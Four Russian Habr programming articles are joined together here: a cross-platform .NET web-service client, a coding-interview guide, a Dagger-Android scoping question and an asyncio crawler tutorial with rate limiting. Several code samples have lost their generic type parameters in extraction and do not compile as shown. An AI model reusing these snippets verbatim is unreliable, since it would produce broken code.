Мне до сих пор непонятно, почему это реализовано именно так; на все вопросы по этому поводу техподдержка отвечает: «Coming soon». Радует лишь, что не так давно вышла новая версия MonoDevelop (среды разработки под Monotouch на Mac), в описании которой было явно указано, что частичная поддержка PCL осуществляется, однако я не смог понять — где именно.
#### Реализация
Итак, имея реализацию необходимых нам библиотек на всех интересующих нас платформах, мы не можем создать одну сборку для всех платформ, которая бы использовала необходимые классы. Нам придется компилировать две сборки — для Windows-платформ и для Mono-платформ.
Но здесь мы снова сталкиваемся с небольшой проблемой. Самым удобным классом при реализации клиента для веб-сервиса является WebClient. Но его — по каким-то загадочным причинам — из второй редакции PCL убрали, хотя он реализован и на Windows Phone 7, и в настольных приложениях. Разработчики аргументируют это тем, что WebClient не поддерживается в Metro-приложениях. Поэтому если вы хотите разрабатывать приложение в том числе и для Metro — вам придется воспользоваться более низкоуровневыми классами WebHttpRequest и WebHttpResponse. Я же для простоты покажу пример реализации прокси-класса для работы с WebClient.
Что нам потребуется:
* Visual Studio 2010 SP 1;
* Windows Phone SDK для Visual Studio 2010;
* Monodroid для Visual Studio 2010;
* MonoDevelop 3.0.2 на Mac;
* Newtonsoft.Json.
Приступаем к работе.
1. Устанавливаем Windows Phone SDK и Monodroid. Создаем два проекта: первый проект — Windows Phone Library, второй — Android Class Library. Если вы захотите разрабатывать универсальную Windows-библиотеку — создайте Portable Class Library вместо Windows Phone Class Library. Но в этом случае для работы с веб-сервисом придется использовать все те же менее удобные HttpWebRequest и HttpWebResponse.
2. Далее основную работу мы будем вести с Android Class Library. Для обеспечения совместимости этой сборки с проектом Monotouch необходимо убедиться, что в этой сборке нет лишних ссылок, специфичных для Monodroid. В проекте оставьте следующие ссылки:
* System;
* System.Net;
* Newtonsoft.Json (библиотека для десериализации JSON).
3. Предположим, что у нас есть некий сферический REST-сервис в вакууме, который расположен по адресу <http://webservice:47154/rest/vendor> и возвращает нам список производителей ПО.
Для использования этого сервиса достаточно написать следующий код (создать класс, в который будет десериализоваться наш ответ веб-сервиса, и собственно сам прокси-класс, который будет запрашивать сервис).
```
//Контракт производителя ПО
public class Vendor
{
public int Id { get; set; }
public string Name { get; set; }
public string Description { get; set; }
}
//Сам прокси-класс для работы с веб-сервисом
public class VendorsProxy
{
private string _host;
public VendorsProxy(string host)
{
_host = host;
}
public event VendorsEventHandler GetVendorsCompleted;
public void GetVendors()
{
var client = new WebClient();
client.DownloadStringCompleted += (s, e) =>
{
var vendors = JsonConvert.DeserializeObject>(e.Result);
if (GetVendorsCompleted != null) GetVendorsCompleted(new VendorsEventArgs(vendors));
};
client.DownloadStringAsync(new Uri(\_host + @"rest/vendor"));
}
}
public delegate void VendorsEventHandler(VendorsEventArgs vendors);
public class VendorsEventArgs : EventArgs
{
public IEnumerable Vendors { get; private set; }
public VendorsEventArgs(IEnumerable vendors)
{
Vendors = vendors;
}
}
```
4. Теперь в проект WP Library достаточно добавить не сами файлы, а ссылки на файлы из проекта Android Class Library.
Вот, собственно, и все. Теперь, если вы полностью соберете решение, на выходе окажутся две сборки, которые одинаково хорошо будут работать как в Windows Phone, так и на устройствах с iOS и Android. Вы сможете использовать ваш веб-сервис на любой платформе следующим образом.
```
var proxy = new VendorsProxy("http://mywebservice:8080/");
proxy.GetVendorsCompleted += (vendors) =>
{
BindVedorsToVoewModel(vendors.Vendors);
};
proxy.GetVendors();
```
#### Сомнения
Конечно, можно поспорить о необходимости таких «танцев с бубном» для достижения подобной универсальности: наверняка ведь у каждой платформы будет своя специфика и свои оптимальные методы работы. Однако, если вы уверенный .NET-программист и вам необходимо быстро создать простое мобильное приложение, работающее с веб-сервисом, — данное решение может быть полезно.
Если Хабрасообщество проявит интерес к этой теме, то в следующей статье я расскажу о методах защиты соединений в кроссплатформенных приложениях.
*Автор: Сергей Шулик, старший программист Positive Technologies.* | https://habr.com/ru/post/146342/ | null | ru | null |
# Скромное руководство по прохождению интервью: часть 2
Во второй части поста будут рассматриваться **“Алгоритмы и концепции”**, если вы не читали предыдущий пост или хотите “вспомнить” список тем, [то загляните сюда](http://habrahabr.ru/blogs/programming/128665/).
##### Алгоритмы и концепции
###### Сортировка и поиск
Понимание/знание известных алгоритмов сортировки очень важно, поскольку многие решения связанные с сортировкой или поиском, мягко говоря, требуют владения этими алгоритмами. Хороший способ показать свои знания перед интервьюером, когда дана здача на сортировку – это «пробежать» по известным алгоритмам и увидеть/выяснить какой из них лучше всего подходит для решения данной задачи. Вы получите и решение и то, что интервьюер будет довольным вашими «разными» способов решения одной и той же задачи.
Например, "**у вас есть большой массив обьектов Employee, сортируйте служащих по возрастам**".
Здесь нужно обратить внимание, как минимум, на две вещи. Во-первых, массив большой, значит эффективность прежде всего, а во-вторых сортировка базируется на возрастах, то есть нам уже ясно, что значения находятся в маленьком интервале. Можно спокойно использовать алгоритм блочной сортировки.
**Какие алгоритмы следует знать (какие же эти «известные»):**
* Пузырьковая сортировка (bubble sort).
* Сортировка выбором (selection sort).
* Сортировка слиянием (merge sort).
* Быстрая сортировка (quick sort).
* Блочная сортировка (bucket sort).
Пример,
«**У вас два сортированных массива A и B, размер А больше настолько, чтобы содержать массив B. Напишите метод, слияющий B в А сохраняя порядок сортировки**».
```
void merge(int a[], int b[], int n, int m)
{
int k = m + n - 1;
int i = n - 1;
int j = m - 1;
while (i >= 0 && j >= 0) {
if (a[i] > b[j]) {
a[k--] = a[i--];
} else {
a[k--] = b[j--];
}
}
while (j >= 0) {
a[k--] = b[j--];
}
}
```
С поиском вы оказываетесь в более «выгодном» положении, достаточно знать линейный и бинарный алгоритмы и дело, так сказать, в шляпе.
«**Дан массив, в котором каждая строка и каждый столбец сортированы, напишите функцию находящую элемент в массиве**».
Взгляните на решение ниже и предложите лучшее решение:
```
bool find_element(int** mat, int elem, int M, int N)
{
int row = 0;
int col = N - 1;
while (row < M && col >= 0) {
if (mat[row][col] == elem) {
return true;
} else if (mat[row][col] > elem) {
--col;
} else {
++row;
}
}
return false;
}
```
Заметьте, что здесь не очень-то имеет значение, что код в посте приведен на С++, в большинстве случаев тот же код без особых изменений синтаксически эквивалентен, например, коду на Java или C#.
Задачи для размышления:
«**Реализуйте алгоритм бинарного поиска**».
«**Как организовать сортировку миллиона чисел с плавающей точкой?**».
«**Реализуйте сортировку массива из обьектов Employee по зарплатам (будем считать, что Employee содержит поля для имени, возраста, зарплаты и адреса)**».
###### Рекурсия
Есть огромное множество задач с рекурсией, многие задачи подчиняются шаблону. Если задачу можно разбить на подзадачи, то это уже подсказка, что задача «рекурсивная». Если вы услышите задачи, вроде «*Напишите код, выводящий первые n…*», «*Реализуйте функцию считающую все...*», то сперва попытайтесь использовать, ну хотя бы подумать использовать, рекурсивный метод решения.
Нужно заметить, что во всех случаях практика – ваш лучший друг, как много задач вы решите, тем легче для вас становится не только решение новой, но и ориентировка на метод решения, собственно, задачи.
И так, сначала попытайтесь распознать подзадачи. Решите/найдите «базовую» задачу, ту, при которой рекурсия остановится (в основном это жестко кодированное значение). Решите задачу для 2-й подзадачи и поймите как решить третью подзадачу, базируясь на второй. Обобщайте решение для n-й подзадачи.
Помните, любая задача, решаемая с помощью рекурсии, имеет и итеративное решение. И еще, рекурсивный алгоритм может быть очень неэффективным в смысле свободного места.
«**Напишите функцию, генерирующую n-ое число Фибоначчи**».
Рекурсивный вариант:
```
int fibonacci(int n)
{
if (0 == n) {
return 0;
}
if (1 == n) {
return 1;
}
// или более красиво if(0 == n || 1 == n) { return n; }
if (n > 1) {
return fibonacci(n - 1) + fibonacci(n - 2);
}
return -1; // в случае ошибки
}
```
Итеративный вариант:
```
int fibonacci(int n)
{
if (n < 0) { return -1; }
if (n == 0) { return 0; }
int a = 1, b = 1;
for (int i = 3; i <= n; ++i) {
int c = a + b;
a = b;
b = c;
}
return b;
}
```
Для размышления:
"**Как бы вы улучшили решение задачи выше?**"
«**Напишите функцию, которая возвращает все подмножества некоторого множества**».
«**Решите [задачу ферзя](http://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%B4%D0%B0%D1%87%D0%B0_%D0%BE_%D0%B2%D0%BE%D1%81%D1%8C%D0%BC%D0%B8_%D1%84%D0%B5%D1%80%D0%B7%D1%8F%D1%85)**»
###### Манипуляция битами
Манипуляция битами может быть страшной для многих кандидатов, хотя не должна.
Достаточно просто делать ошибку при решении этих задач, так что будьте осторожны, вернее – внимательны. Рассматривайте внимательно каждую строку написанную вами кода.
Не забудьте про сдвиг, **x << y** (левый сдвиг) означает, что x сдвиган налево на y бит и **x >> y** (правый сдвиг), соответственно, у бит в правую сторону.
Есть одна достаточно популярная задача, попробуйте решить ее сами (привожу с «обратной стороны») – «**Объясните следующий код: (( n & (n — 1) ) == 0)**».
«**Даны два 32-битовые числа, N и M. Еще есть две позиции битов, i и j. Напишите функцию, которая установит все биты между i и j в N равную M(то есть M становится подстрокой N)
Пример:
Вход: N = 100000000, M = 101, i = 2, j = 3
Выход: N = 100010100**».
```
int update_bits(int n, int m, int i, int j)
{
int max = ~0; // все 1'ы
//все 1'ы до позиции j, потом 0'и
int left = max - ((1 << j) - 1);
//1'ы после позиции i
int right = ((1 << i) - 1);
// 1'ы с нулями между i и j
int mask = left | right;
//"чистка" от i до j и вставка m
return (n & mask) | (m << i);
}
```
Для размышлении: «**Дано число с плавающей точкой в виде строки, выведите бинарное представление.**»
###### Обьектно-ориентированное проектирование
Вопросы по ООП (здесь П — проектирование) имеют огромную важность, по крайней мере я так думаю. Знание ООП оказывает некоторое доверие на интервьюера, поскольку становиться понятным, что кандидат «поймет» диаграммы классов того проекта, на котором будет работать. Это только маленький плюс, есть другие немаловажные достоинства ООП, выступающие в пользу кандидата. А вот отсутствие знании вызовет у интервьюера чувство «кто там следующий?». Это, конечно, относится к должностям, связанным с ООП, а то, по-мне разработчику драйверов вряд-ли спросят об ООП. Тем не менее, во время интервью будьте готовы, что вас попросят спроектировать некоторое приложение, или даже «не-приложение», например, телевизор. Попросят рассказать об отношениях между, скажем, пультом и телевизором. Будьте готовы на вопросы типа «Чем отличается “is-a” от “has-a”?».
«**Спроектируйте чат-сервер**».
```
enum status_type
{
online,
offline,
away
};
struct status
{
status_type m_status_type;
std::string m_status_message;
};
struct add_request;
class user
{
private:
std::string m_username;
std::string m_display_name;
std::list m\_contact\_list;
std::list requests;
public:
bool update\_status(status\_type stype, const std::string& msg);
bool add\_user\_with\_username(const std::string& name);
bool approve\_request(const std::string& username);
bool deny\_request(const std::string& username);
bool remove\_contact(const std::string& username);
bool send\_message(const std::string& username, const std::string& message);
};
struct add\_request
{
user\* m\_from\_user;
user\* m\_to\_user;
};
class server
{
user\* get\_user\_by\_username(const std::string& username);
};
```
Это простой пример, в реальности вопросы/задачи бывают «неплохого качества».
Для размышлении: «**Спроектируйте структуры данных для онлайн-читалки книг**».
*Думаю этого достаточно, в следующих постах есть намерение написать не только о языке программирования, но и о других темах/вопросах, которые будут относится к более сложным интервью.* | https://habr.com/ru/post/128730/ | null | ru | null |
# «Dagger-Android & AAC» или «впихнуть невпихиваемое»
Сегодня хотелось бы поговорить о **Dagger 2**, в частности о **dagger-android**, **Android Architecture Components**, а так же о проблеме, с которой я столкнулся при их использовании. Наверное, пост не столько познавательный, сколько философский, сразу прошу не кидаться тапками, потому как причины создания поста есть (как минимум субъективные), о них расскажу под катом.
Долго размышлял, стоит ли писать этот пост, но внутреннее равновесие пошатнулось, а значит посту быть.
Дело вот в чем: наверняка многие из вас уже использовали вышеописанные инструменты в своих проектах, или хотя бы игрались с ними, дабы понять что это за зверь такой. Так и я наконец то пришел к тому, что надо бы использовать их в своем проекте.
Теперь о том, чего я хотел добиться с помощью этих инструментов:
* Забыть о кошмаре со сменой конфигурации при помощи «живучих» вьюмоделей
* Использовать Dagger для поставки зависимостей прямо во вьюмодель
* Организовать Scopes для зависимостей
* Использовать новомодный dagger-android
Теперь немного кода для лучшего понимания:
**Application**
```
class App : DaggerApplication() {
override fun applicationInjector(): AndroidInjector = DaggerAppComponent.builder().create(this)
}
```
**AppComponent**
```
@Singleton
@Component(modules =
[
(AndroidSupportInjectionModule::class),
(AppModule::class),
(ActivityBuilder::class)
])
interface AppComponent : AndroidInjector {
@Component.Builder
abstract class Builder : AndroidInjector.Builder()
}
```
**ActivityBuilder**
```
@Module
abstract class ActivityBuilder {
@ActivityScope
@ContributesAndroidInjector(modules = [MainActivityModule::class, FragmentProvider::class, RepositoryModule::class])
abstract fun bindMainActivity(): MainActivity
}
```
**RepositoryModule**
```
@Module
class RepositoryModule {
@Provides
@ActivityScope
fun provideSomeDataRepository(socket: SocketService, restApi: RestApi, feedDao: FeedDao, userSettings: UserSettings): SomeDataRepository
= SomeDataRepositoryImpl(socket, restApi, feedDao, userSettings)
```
**Инъекция ViewModelFactory**
```
@Inject
lateinit var factory: MainViewModelFactory
private lateinit var viewModel: MainViewModel
viewModel = ViewModelProviders.of(this, factory)
.get(MainViewModel::class.java)
```
**ViewModelFactory**
```
class MainViewModelFactory @Inject constructor(private val someDataRepository: SomeDataRepository) : ViewModelProvider.Factory{
override fun create(modelClass: Class): T {
if (modelClass.isAssignableFrom(MainViewModel::class.java)) {
return MainViewModelImpl(someDataRepository) as T
}
throw IllegalArgumentException(String.format("%s Not Found", modelClass.simpleName))
}
}
```
**ViewModel**
```
class MainViewModelImpl @Inject constructor(someDataRepository: SomeDataRepository) : MainViewModel(), MainViewModel.Input, MainViewModel.Output
```
Так вот, насчет того списка, чего я хотел получить от всех этих манипуляций.
Всё хорошо, всё работает, только вот я заметил одну особенность (чуть позже она стала очевидной): **После смены конфигурации Dagger создает зависимости заново**.Если поставить breakpoint на init блок в SomeDataRepositoryImpl, то мы увидим, что при добавлении фрагмента с такой же зависимостью — во фрагмент передается экземпляр того же объекта, что был создан при создании активности (breakpoint не сработал). Но при перевороте экрана, мы будем наблюдать создание нового объекта (breakpoint сработал), который не дойдет до вьюмодели, потому как она уже имеет экземпляр этого объекта.
Из за небольшого опыта разработки с этими инструментами, было принято решение — спросить совета у других разработчиков, на что я получал ответы, что эта ситуация — норма, что сборщик мусора справится с этим бардаком, и всё будет нормально работать.
Отсылаясь к заголовку поста, про "невпихиваемое", это было вычитано где-то в issues по dagger (не цитата слово в слово, но смысл такой же): "Вы пытаетесь вобрать всё лучшее из этих двух инструментов, не думаю, что это возможно"
**Спойлер**Конечно, можно не использовать даггер-андроид, и подавать зависимости прямо во вьюмодель, используя попутно AndroidViewModel(application: Applitaction), но так не пойдет, ведь вьюмодель не должна знать о классе Application. Для меня до сих пор загадка — зачем этот класс вообще существует. Может кто-то объяснит в комментариях?
Подводя итог ко всему выше сказанному, у меня один вопрос: Можно ли сделать то, что я хочу? Можно ли избавиться от этого неконтролируемого создания объектов даггера при смене конфигурации?
Буду рад ответам в комментариях, спасибо за внимание. | https://habr.com/ru/post/350072/ | null | ru | null |
# Пишем свой Google, или асинхронный краулер с rate limits на Python
Привет!
Меня зовут Александр, я руковожу backend-разработкой в [КТS](https://habr.com/ru/company/kts/profile/). Сегодня расскажу, как написать асинхронный краулер.
Такая задача часто встречается на практике, когда нужно реализовать периодическую синхронизацию/обкачку между сервисами.
Статья написана по мотивам вебинара, который мы проводили в рамках курса [«Асинхронное программирование на Python для джуниор-разработчиков».](https://slurm.club/3QpvBbD) Курс стартует 13 октября. Если интересно, загляните посмотреть.
Что будет в статье:
* [Цель](#1)
* [Исходный код](#2)
* [Планировщик](#3)
* [Задача для краулера](#4)
* [Пробный запуск](#5)
* [Промежуточный итог](#6)
* [Функции put и join](#7)
* [Semaphore](#8)
* [Остановка фонового планировщика](#9)
* [Работа краулера на примере обкачки нашего блога на Хабре](#10)
* [Несколько слов о курсе по асинхронному программированию на Python](#11)
Цель
----
У нас есть краулер, который обкачивает страницы. Это может быть поисковый бот Google, который ходит по сайтам, скачивает данные, кладет в базу и индексирует, или какой-нибудь агрегатор: аптек, маркетплейсов и т.д.
Задача в том, что краулер должен работать и не положить сервис, который он обкачивает.
Код для начала работы:
```
import asyncio
from dataclasses import dataclass
from typing import Optional
class Pool:
def __init__(self, max_rate: int, interval: int = 1, concurrent_level: Optional[int] = None):
self.max_rate = max_rate
self.interval = interval
self.concurrent_level = concurrent_level
async def start(pool):
await asyncio.sleep(5)
def main():
loop = asyncio.get_event_loop()
try:
loop.run_until_complete(start())
except KeyboardInterrupt:
loop.close()
if __name__ == '__main__':
main()
```
Краулеру нужно посетить и скачать много страниц, следовательно, много раз обратиться к ресурсу. Мы можем позволить себе отправлять много запросов, но сервис, на который мы приходим, может не выдержать большой нагрузки. Поэтому к источнику данных нужно ходить управляемо — сделать *rate-limit.*
Если в какой-то момент задача прервалась, или мы сами решили остановить краулер, нужно сделать корректную и аккуратную остановку работы. Для этого начатые задачи должны завершиться, а новые задачи из очереди должны прекратить поступать.
Исходный код
------------
У нас есть сущность *Pool.* Эта сущность умеет управлять количеством запросов в единицу времени. Pool принимает:
* *max\_rate* — максимальное количество запросов
* *interval* — интервал. Если мы передаем значения max\_rate = 5 и interval = 1, в секунду может исполняться 5 запросов
* *concurrent\_level* — обозначает допустимое количество параллельных запросов
max\_rate и concurrent\_level могут не совпадать, когда время выполнения запроса больше, чем interval. Например, мы делаем 5 запросов в секунду, как заявлено в переменных, но API все равно отвечает медленнее. Чтобы не положить сервис, мы вводим переменную concurrent\_level.
Планировщик
-----------
Для начала нужно написать что-то, что позволит делать ровно 5 запросов в секунду, не обращая внимание на время запроса. Для этого мы запустим планировщик, который назовем *scheduler.* Он будет просыпаться раз в секунду и ставить количество задач, равное max\_rate. Планировщик не ждет их исполнения, просто создает 5 задач каждую секунду.
Дополним class Pool и напишем функцию scheduler:
```
from task import Task
class Pool:
def __init__(self, max_rate: int, interval: int = 1, concurrent_level: Optional[int] = None):
self.max_rate = max_rate
self.interval = interval
self.concurrent_level = concurrent_level
self.is_running = False
async def _scheduler(self):
while self.is_running:
for _ in range(self.max_rate):
pass
```
Обратите внимание на две вещи:
* функция бесконечная, пока работает наш краулер
* раз в период функция выполняет max\_rate раз какое-то действие
Задача для краулера
-------------------
Scheduler должен откуда-то взять задачи, которые нужно запланировать. Для этого нам нужно сделать очередь, которую мы возьмем из библиотеки asyncio. Примитив называется asyncio.Queue(). В class Pool дописываем:
```
class Pool:
def __init__(self, max_rate: int, interval: int = 1, concurrent_level: Optional[int] = None):
self.max_rate = max_rate
self.interval = interval
self.concurrent_level = concurrent_level
self.is_running = False
self._queue = asyncio.Queue()
```
Теперь мы просыпаемся раз в интервал и получаем количество задач, равное max\_rate. Но нужно что-то сделать, чтобы они исполнялись.
Для этого в asyncio есть функция *create\_task.* Она запускает выполнение корутины, но при этом не дожидается ее исполнения, а создает фоновую задачу. В create\_task передадим метод *perform.*
```
async def _scheduler(self):
while self.is_running:
for _ in range(self.max_rate):
task = await self._queue.get()
asyncio.create_task(task.perform))
await asyncio.sleep(self.interval)
```
Пробный запуск
--------------
Давайте попробуем все это запустить. Сделаем функцию *start* и таким же образом запустим scheduler. Нам нужно не ждать его, а просто запустить в фоне корутину с помощью create\_task:
```
async def _scheduler(self):
while self.is_running:
for _ in range(self.max_rate):
task = await self._queue.get()
asyncio.create_task(self._worker(task))
await asyncio.sleep(self.interval)
def start(self):
self.is_running = True
asyncio.create_task(self._scheduler())
```
В будущем для корректного завершения работы краулера нужно завершить работу scheduler. Для этого нужно вызвать cancel у задачи, поэтому возвращаемое значение из create\_task мы сохраняем в переменную *scheduler\_task:*
```
class Pool:
def __init__(self, max_rate: int, interval: int = 1, concurrent_level: Optional[int] = None):
self.max_rate = max_rate
self.interval = interval
self.concurrent_level = concurrent_level
self.is_running = False
self._queue = asyncio.Queue()
self._scheduler_task: Optional[asyncio.Task] = None
```
Выставим rate-limit на 3 и внутри start запустим наш Pool:
```
def start(self):
self.is_running = True
self._scheduler_task = asyncio.create_task(self._scheduler())
async def start(pool):
pool = Pool(3)
pool.start()
await asyncio.sleep(5)
```
Запускаем и видим, что ничего не произошло:
Это потому, что внутри очереди ничего нет. Мы сделали старт и поспали 5 секунд, а на момент окончания задачи у нас осталась фоновая задача scheduler.
Промежуточный итог
------------------
1. У нас есть Pool с параметрами:
— *ограничение количества запросов max\_rate
— интервал активизации планировщика interval
— максимальное количество параллельных запросов concurrent\_level*
2. Мы написали планировщик scheduler, который работает постоянно, просыпается раз в объявленный интервал, достает из очереди max\_rate задач и запускает их исполнение.
3. Задача task — просто дата-класс с функцией perform. Для описания поведения задачи нужно создать класс-наследник и в нем переопределить perform.
4. Еще мы написали функцию start, в которой выставили признак работы is\_running и в фоне запустили наш планировщик.
Функции put и join
------------------
Перед тем, как запустить *Pool,* попробуем положить туда задачку. Для этого напишем функцию *put,* которая принимает задачу и кладет ее в нашу внутреннюю очередь.
Дополнительно добавим tid (task\_id) и print в код задачи:
```
import asyncio
from dataclasses import dataclass
@dataclass
class Task:
tid: int
async def perform(self, pool):
print('start perform', self.tid)
await asyncio.sleep(3)
print('complete perform', self.tid)
```
И добавим 10 задач перед стартом pool:
```
async def start(pool):
pool = Pool(3)
for tid in range(10):
await pool.put(Task(tid))
pool.start()
await asyncio.sleep(5)
```
Добавим еще кое-что. У стандартной библиотеки queue есть метод *join.* Тогда краулер будет ждать не 5 секунд, как мы указали в начале, а до тех пор, пока очередь не опустеет:
```
async def start(pool):
pool = Pool(3)
for tid in range(10):
await pool.put(Task(tid))
pool.start()
await pool.join()
```
Запустим и посмотрим, что произойдет:
Хотя все зависло, планировщик работал.
Вы можете увидеть, что задача выполняется 3 секунды. И, несмотря на то, что предыдущие задачи еще не завершились, планировщик все равно создает новые. Это плохо, потому что если API отвечает медленнее, чем мы шлем к нему запросы, есть вероятность «положить» сервис. Эту проблему мы решим чуть позже.
Чтобы join отработал, нужно помечать задачи выполненными. Не будем усложнять код scheduler и сделаем отдельную функцию *\_worker*. В нее перенесем perform и ниже добавим *self.\_queue.task\_done()*. Это означает, что задачу мы выполнили:
```
async def _worker(self, task: Task):
await task.perform(self)
self._queue.task_done()
```
Обратите внимание, что \_worker вызывается без await, потому что scheduler не должен ждать его завершения. Иначе он не успеет запланировать задачи.
В scheduler вместо perform нужно передать \_worker и task:
```
async def _scheduler(self):
while self.is_running:
for _ in range(self.max_rate):
task = await self._queue.get()
asyncio.create_task(self._worker(task))
await asyncio.sleep(self.interval)
```
Снова попробуем запустить:
Программа завершилась, но осталось предупреждение о том, что scheduler остался работать в фоне. Функцию stop напишем чуть позже.
Semaphore
---------
На этом этапе видим, что:
* *метод start запускает наш Pool и планировщик scheduler*
* *планировщик раз в секунду ставит новые задачи и запускает \_worker*
* *\_worker эти задачи выполняет*
* *метод join ждет, пока очередь не станет пустой*
Если время выполнения задач больше интервала активизации планировщика (interval), он накидывает дополнительные задачи сверху тех, которые еще не выполнились.
В таком случае количество параллельных запросов к сервису за interval будет больше rate\_limit. Поэтому нужно ограничить количество параллельных запросов. Для этого нам потребуется переменная *concurrent\_level,* которая по умолчанию равна rate\_limit.
В asyncio есть примитив синхронизации *Semaphore.* С его помощью можно ограничить количество параллельных исполняемых worker. Если количество запланированных задач больше заданного значения, мы ждем их исполнения. В нашем примере задач 3.
Объявим Semaphore и передадим в него либо concurrent\_level, либо max\_rate.
Когда worker начинает исполняться, нам нужно занять Semaphore. Для этого используем «асинхронный контекстный менеджер»: *async with self.\_sem.* Мы занимаем Semaphore, пока не закончатся операции ниже — *await task.perform(self)* и *self.\_queue.task\_done().*
```
async def _worker(self, task: Task):
async with self._sem:
await task.perform(self)
self._queue.task_done()
```
Добавим Semaphore внутрь scheduler, чтобы scheduler не запускал новые worker'ы, если количество параллельных worker'ов уже достигло максимума:
```
async def _scheduler(self):
while self.is_running:
for _ in range(self.max_rate):
async with self._sem:
task = await self._queue.get()
asyncio.create_task(self._worker(task))
await asyncio.sleep(self.interval)
```
Запускаем:
Мы добавили 3 задачи и ждем, пока они исполнятся. Таким образом мы соблюдаем максимальное параллельное количество запросов.
Остановка фонового планировщика
-------------------------------
У нас осталась проблема с корректным завершением планировщика. После завершения остановки краулера появляется предупреждение о незавершенной корутине.
Чтобы этого не было, напишем функцию *stop:*
```
async def stop(self):
self.is_running = False
self._scheduler_task.cancel()
```
Теперь после того, как внутри пула закончатся задачи, его нужно корректно остановить. Добавим метод stop в конце функции start:
```
async def start():
pool = Pool(3)
for tid in range(10):
await pool.put(Task(tid))
pool.start()
await pool.join()
await pool.stop()
```
Попробуем:
Теперь все работает корректно.
Мы остановили планировщик, когда задачи в очереди закончились. Но если мы остановим краулер в процессе работы, начнут появляться предупреждения о том, что какая-то задача не завершилась:
А чем больше время выполнения perform, тем больше будет таких уведомлений.
Поэтому нам нужно ожидать, когда все worker завершатся. Для этого введем дополнительную переменную, обозначающую количество параллельно работающих worker: *concurrent\_workers.* Изначально она равна 0. При запуске воркера мы увеличиваем concurrent\_workers на 1. При выходе, наоборот, уменьшаем на 1:
```
async def _worker(self, task: FetchTask):
async with self._sem:
self._cuncurrent_workers += 1
await task.perform(self)
self._queue.task_done()
self._cuncurrent_workers -= 1
```
Теперь нужно как-то сказать функции stop, что все параллельные worker завершились. Это произойдет, когда is\_running будет false и concurrent\_workers станет равной 0.
Для этого есть примитив синхронизации *Event.* В нашем коде мы добавим его в Pool и назовем *stop\_event.* Это переменная, на которой можно ждать *await self.\_stop\_event.wait()* до тех пор, пока кто-то не вызовет *self.\_stop\_event.set():*
```
class Pool:
def __init__(self, max_rate: int, interval: int = 1, concurrent_level: Optional[int] = None):
self.max_rate = max_rate
self.interval = interval
self.concurrent_level = concurrent_level
self.is_running = False
self._queue = asyncio.Queue()
self._scheduler_task: Optional[asyncio.Task] = None
self._sem = asyncio.Semaphore(concurrent_level or max_rate)
self._cuncurrent_workers = 0
self._stop_event = asyncio.Event()
```
Если равна, то все worker завершили свою работу, планировщик отменен и не создает новые задачи. В таком случае все компоненты Pool остановлены или завершили свою работу — программу можно завершать.
Но если concurrent\_workers не равна 0, нам нужно внутри метода stop подождать событие stop\_event:
```
async def stop(self):
self.is_running = False
self._scheduler_task.cancel()
if self._cuncurrent_workers != 0:
await self._stop_event.wait()
```
Когда Pool остановлен, последний работающий worker должен отправить уведомление:
```
async def _worker(self, task: FetchTask):
async with self._sem:
self._cuncurrent_workers += 1
await task.perform(self)
self._queue.task_done()
self._cuncurrent_workers -= 1
if not self.is_running and self._cuncurrent_workers == 0:
self._stop_event.set()
```
Обновим функцию main, чтобы все корректно работало:
```
def main():
loop = asyncio.get_event_loop()
pool = Pool(3)
try:
loop.run_until_complete(start(pool))
except KeyboardInterrupt:
loop.run_until_complete(pool.stop())
loop.close()
```
Теперь все работает. После нажатия Ctrl + C выполняются оставшиеся задачи, и программа завершается:
Работа краулера на примере обкачки нашего блога на Хабре
--------------------------------------------------------
Мы реализовали механику пула на нашей абстрактной задачке task.
Для следующего этапа я подготовил задачу *FetchTask.*
fetch\_task
```
MAX_DEPTH = 2
PARSED_URLS = set()
@dataclass
class FetchTask(Task):
url: URL
depth: int
def parser(self, data: str) -> List['FetchTask']:
if self.depth + 1 > MAX_DEPTH:
return []
soup = BeautifulSoup(data, 'lxml')
res = []
for link in soup.find_all('a', href=True):
new_url = URL(link['href'])
if new_url.host is None and new_url.path.startswith('/'):
new_url = URL.build(
scheme=self.url.scheme,
host=self.url.host,
path=new_url.path,
query_string=new_url.query_string
)
if new_url in PARSED_URLS:
continue
PARSED_URLS.add(new_url)
res.append(FetchTask(
tid=self.tid,
url=new_url,
depth=self.depth + 1
))
return res
async def perform(self, pool):
async with aiohttp.ClientSession() as session:
async with session.get(self.url) as resp:
print(self.url, resp.status)
data = await resp.text()
res: List[FetchTask] = await asyncio.get_running_loop().run_in_executor(
None, self.parser, data
)
for task in res:
await pool.put(task)
```
Внутри функции parcer есть переменная soup, которая объявлена как *soup = BeautifulSoup(data, ’lxml’).*Дам небольшие пояснения.
**BeautifulSoup** — парсер для анализа HTML/XML.
**lxml** — реализация HTML/XML парсера**.** Из-за GIL мы специально запускаем res внутри функции perform через executor:
```
async def perform(self, pool):
async with aiohttp.ClientSession() as session:
async with session.get(self.url) as resp:
print(self.url, resp.status)
data = await resp.text()
res: List[FetchTask] = await asyncio.get_running_loop().run_in_executor(
None, self.parser, data
)
for task in res:
await pool.put(task)
```
GIL — блокировка, которая запрещает параллельные потоки в Python. Но если вы пишите расширение на С, есть возможность «отпустить» GIL.
Парсер lxml написан на С. У себя под капотом он умеет отпускать GIL и выполняться в отдельном потоке. Это относится и к некоторым другим расширениям: <https://lxml.de/2.0/FAQ.html#id1>
В fetch\_task также переопределяем функцию perform, в которой нужно сходить в сеть. Для этого я взял aiohttp client.
В задаче FetchTask мы идем на указанный URL, оттуда получаем данные и запускаем executor для их обработки. Нужно взять все ссылки в документе, перейти на них и тоже обкачать:
```
def parser(self, data: str) -> List['FetchTask']:
if self.depth + 1 > MAX_DEPTH:
return []
soup = BeautifulSoup(data, 'lxml')
res = []
for link in soup.find_all('a', href=True):
new_url = URL(link['href'])
if new_url.host is None and new_url.path.startswith('/'):
new_url = URL.build(
scheme=self.url.scheme,
host=self.url.host,
path=new_url.path,
query_string=new_url.query_string
)
if new_url in PARSED_URLS:
continue
PARSED_URLS.add(new_url)
res.append(FetchTask(
tid=self.tid,
url=new_url,
depth=self.depth + 1
))
return res
```
В конце мы добавляем в результат новую задачу и увеличиваем на 1 глубину depth.
Например, когда мы поставили задачку habr.com, глубина была равна 1. Мы скачали этот документ, в котором есть и другие ссылки: блоги Mail.ru, Yandex или KTS. Когда мы стали обкачивать следующие страницы, глубина увеличилась до 2. Этот параметр нужен для ограничения количества обкачиваемых ресурсов, фактически — глубины.
Обратите внимание, что у нас есть список посещенных страничек *PARSED\_URLS.* Так мы не будем дважды посещать одни и те же страницы.
